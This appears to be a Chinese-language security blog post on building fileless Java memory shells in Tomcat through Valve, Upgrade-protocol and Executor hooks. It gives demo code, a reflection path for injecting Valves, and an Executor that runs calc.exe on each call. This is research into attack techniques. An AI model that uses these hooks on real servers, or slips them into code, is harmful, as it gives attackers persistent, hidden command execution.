Java内存马之Tomcat Valve & Upgrade & Executor

Tomcat Valve

什么是 Valve 和 Pipeline

Tomcat中容器的pipeline机制 - coldridgeValley - 博客园

没错,V 社中的 V 就是 Valve 的缩写(阀),因此 steam (蒸汽)这个意思就很明确了 XD

在 Tomcat 中,PipelineValve是其处理请求的重要概念。

  • Pipeline 是一系列 Valve 的有序集合。它类似于一个处理请求的流水线,每个 Valve 都代表一个处理步骤。
  • ValvePipeline 中的处理单元,负责执行特定的任务,例如身份验证、访问控制、日志记录、请求过滤等。

TomcatConnectorContainer组成,请求由 Connector 包装为 Request 后交 Container 处理,第一层是 Engine 容器。Engine 不直接调用 Host 处理请求,而是通过 Pipeline 组件。
Container 有 4 种:EngineHostContextWrapper,相互包含。4 种容器都有 Pipeline 组件,每个 Pipeline 至少有一个 BaseValve 作为连接下一个容器的桥梁。Pipeline 类似管道,Valve 类似阀门,可控制流向。
image-20240129171852854.png

创建一个 Demo

直接用 SpringBoot 搭建一个。
Clip_2024-08-02_20-46-19.png
然后再创建一个 test 目录,在下面创建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.natro92.tomcatvalvebase.test;

import java.io.IOException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import org.springframework.stereotype.Component;

@Component
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
response.getWriter().write("Valve 被成功调用");
}
}

再一个TestConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.natro92.tomcatvalvebase.test;

import org.apache.catalina.Valve;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class TestConfig {
@Bean
public WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() {
return factory -> {
factory.addContextValves(getTestValve());
};
}

@Bean
public Valve getTestValve() {
return new TestValve();
}
}

Clip_2024-08-02_21-08-21.png

使用 Valve 打入内存马

使用的是ValveBase,我们能注意到它实现的是Valve接口:
Clip_2024-08-02_21-18-48.png
其中接口代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.apache.catalina;

import java.io.IOException;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

public interface Valve {
// 获取下一个阀门
public Valve getNext();
// 设置下一个阀门
public void setNext(Valve valve);
// 后台执行逻辑,主要在类加载上下文中使用到
public void backgroundProcess();
// 执行业务逻辑
public void invoke(Request request, Response response)
throws IOException, ServletException;
// 是否异步执行
public boolean isAsyncSupported();
}

TestValve中断点invoke函数。
Clip_2024-08-02_21-33-07.png
调用的Standard
Clip_2024-08-02_21-47-52.png
其中的StandardHostValve中的:
Clip_2024-08-02_21-53-33.png
StandardEngineValve的:
Clip_2024-08-02_21-55-10.png
我们重新选择 StandardHostValve这个位置打上断点:
Clip_2024-08-02_22-00-26.png
step into 到getPipeline函数。找到Pipeline接口,发现有一个addValue方法:
Clip_2024-08-02_22-04-33.png
先找到在哪里继承了该接口,ctrl + H查找继承。
Clip_2024-08-02_22-05-25.png
org.apache.catalina.core.StandardPipeline
但是无法直接获取到这个StandardPipeline,直接能获取到的是StandardContext,而在StandardContext中有org.apache.catalina.core.ContainerBase#getPipeline方法。
Clip_2024-08-02_22-07-23.png
因此我们呢可以通过反射获取到StandardContext,然后通过StandardContext.getPipeline().addValve()添加就可以了。当然,我们也可以反射获取StandardPipeline,然后再addValve

Tomcat Upgrade 打入内存马

Tomcat 的 Upgrade 机制允许在 HTTP 连接上进行协议升级,这意味着你可以将一个标准的 HTTP 连接升级到其他协议,例如 WebSocket。

一个简单的 Tomcat Upgrade demo

使用 Springboot 创建

在 Valve 的项目删除 test 目录下的 TestValve,创建一个 TestUpgrade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.natro92.tomcatvalvebase.test;

import org.apache.coyote.*;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import org.springframework.context.annotation.Configuration;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;

@Configuration
public class TestUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return "hello";
}

@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}

@Override
public String getAlpnName() {
return null;
}

@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}

@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapper, Adapter adapter, Request request) {
return null;
}

public boolean accept(org.apache.coyote.Request request) {

try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("\n\nHello, this my test Upgrade!\n\n".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.natro92.tomcatvalvebase.test;

import com.natro92.tomcatvalvebase.test.TestUpgrade;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.stereotype.Component;

@Component
public class TestConfig implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {

@Override
public void customize(TomcatServletWebServerFactory factory) {
factory.addConnectorCustomizers(connector -> {
connector.addUpgradeProtocol(new TestUpgrade());
});
}
}

运行之后,用命令行运行:

1
curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:9292

image.png

Tomcat 搭建

只需要一个 TestUpgrade 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;

@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {

static class MyUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return null;
}

@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}

@Override
public String getAlpnName() {
return null;
}

@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}

@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
return null;
}

@Override
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
new MyUpgrade().accept(request1.getCoyoteRequest());
} catch (Exception ignored) {}
}
}

Upgrade 内存马

Upgrade 内存马
Tomcat 架构原理解析到架构设计借鉴_牛客博客

20200725210507.png
为了防止被 Filter 等鉴权功能阻拦访问,需要在 Filter 之前就打入内存马。

Tomcat Executer 内存马

按照要求进行配置 Tomcat,如果前面忘了怎么配置可以看这个:

Java内存马之Servlet、Filter和Listener的开发基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import java.io.IOException;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

public class TestExecutor extends ThreadPoolExecutor {

public TestExecutor() {
super(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<>());
}

@Override
public void execute(Runnable command) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
super.execute(command);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
TestExecutor executor = new TestExecutor();

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
executor.execute(() -> {
System.out.println("Execute method triggered by accessing /test");
});
}
}

Clip_2024-08-11_16-36-55.png

流程分析

这里利用的是Endpoint部件来实现。
68747470733a2f2f773031666834636b65722d696d672d6265642e6f73732d636e2d68616e677a686f752e616c6979756e63732e636f6d2f696d6167652f4e696f456e64506f696e742e6a7067.jpg
Endpoint 的五大组件如下图。

组件描述
LimitLatch连接控制器,控制最大连接数
Acceptor接收新连接并返回给PollerChannel对象
Poller监控Channel状态,类似于NIO中的Selector
SocketProcessor封装的任务类,处理连接的具体操作
ExecutorTomcat自定义线程池,用于执行任务类

Endpoint 的具体实现类是AbstractEndpoint,而它的具体实现类有AprEndpointNio2EndpointNioEndpoint

AprEndpoint使用APR模式解决异步IO问题,提高性能org.apache.tomcat.util.net.AprEndpoint
Nio2Endpoint使用代码实现异步IOorg.apache.tomcat.util.net.Nio2Endpoint
NioEndpoint使用Java NIO实现非阻塞IOorg.apache.tomcat.util.net.NioEndpoint

需要先导入依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
<version>9.0.83</version>
</dependency>

Clip_2024-08-11_23-13-50.png
Tomcat 默认启动时由 NioEndpoint 启动的。这个时默认中使用 NIO (非阻塞 I/O)方式进行网络通信的模块,负责监听处理请求连接,将解析字节流传给 Processor 进行处理。
我们查看java.util.concurrent.Executor可以发现有一个execute方法,ctrl + alt + F7寻找相关实现。
Clip_2024-08-11_23-34-39.png
在文档中寻找getExecutor
Clip_2024-08-11_23-37-37.png
搜索调用,在该文件就有一个:
Clip_2024-08-11_23-40-14.png
是在org.apache.tomcat.util.net.AbstractEndpoint#processSocket中。

Tomcat原理系列之七:详解socket如何封装成request(下)

processSocket()会根据(NioSocketWrapper)socket创建一个SocketProcessor处理器。SocketProcessor本身实现了Runnable接口。可以作为任务。被EndpointExecutor线程池执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
try {
if (socketWrapper == null) {
return false;
}
SocketProcessorBase<S> sc = null;
if (processorCache != null) {
sc = processorCache.pop();
}
if (sc == null) {
sc = createSocketProcessor(socketWrapper, event);
} else {
sc.reset(socketWrapper, event);
}
Executor executor = getExecutor();
if (dispatch && executor != null) {
executor.execute(sc);
} else {
sc.run();
}
} catch (RejectedExecutionException ree) {

这里的需求是将原有的 executor 再通过 setExecutor 变成恶意 executor,再通过我们最开始的execute方法就可以执行 RCE。
但是这里的ServletRequest需要经过Adapter的封装后才可获得,这里还在Endpoint阶段,其后面封装的ServletRequestServletResponse无法直接获取。
这里再用下java-object-researcher。这里导入 jar 包,并且修改 TestServlet 的代码。这里如果你也可以直接放入 Java 的根目录然后导入 SDK:
Clip_2024-08-12_00-09-56.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.natro92;

import com.sun.org.apache.xpath.internal.compiler.Keywords;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import javax.servlet.http.HttpServletResponse;
import java.util.ArrayList;
import java.util.List;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
TestExecutor executor = new TestExecutor();

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
executor.execute(() -> {
System.out.println("Execute method triggered by accessing /test");
});
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("request").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path("D:\\Workstation\\Env\\Java\\apache-tomcat-8.5.100");
searcher.searchObject();
}
}

注意,这里在库文件导入之后,还需要将项目库导入到这个工件里面,否则会提示找不到类。
Clip_2024-08-12_00-53-32.png
正常解决后。但是和上次一样还是找不到,我不懂啊,为什么这个我怎么一次也找不到🤔。

1
2
3
4
5
6
7
8
9
10
11
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [15] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>}
---> [java.nio.channels.SocketChannel[connected local=/0:0:0:0:0:0:0:1:8080 remote=/0:0:0:0:0:0:0:1:10770]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}
---> socket = {org.apache.tomcat.util.net.NioChannel}
---> appReadBufHandler = {org.apache.coyote.http11.Http11InputBuffer}
---> request = {org.apache.coyote.Request}

org.apache.tomcat.util.net.NioEndpoint 这里下断点,然后步过就能找到 request 的位置。
Clip_2024-08-12_01-04-12.png
Clip_2024-08-12_01-09-53.png
注意这个能抓到很多次,只要找到一个有 stack 参数的即可,否则会出现 nioChannels 的 stack 参数全是空。
Clip_2024-08-12_01-21-34.png
Clip_2024-08-12_01-22-25.png
然后再点击上面的查看文本。
Clip_2024-08-12_01-22-42.png
这就是为什么大多的 memshell 都把命令放到 header 中进行传入,而结果也放到 header 中进行传出。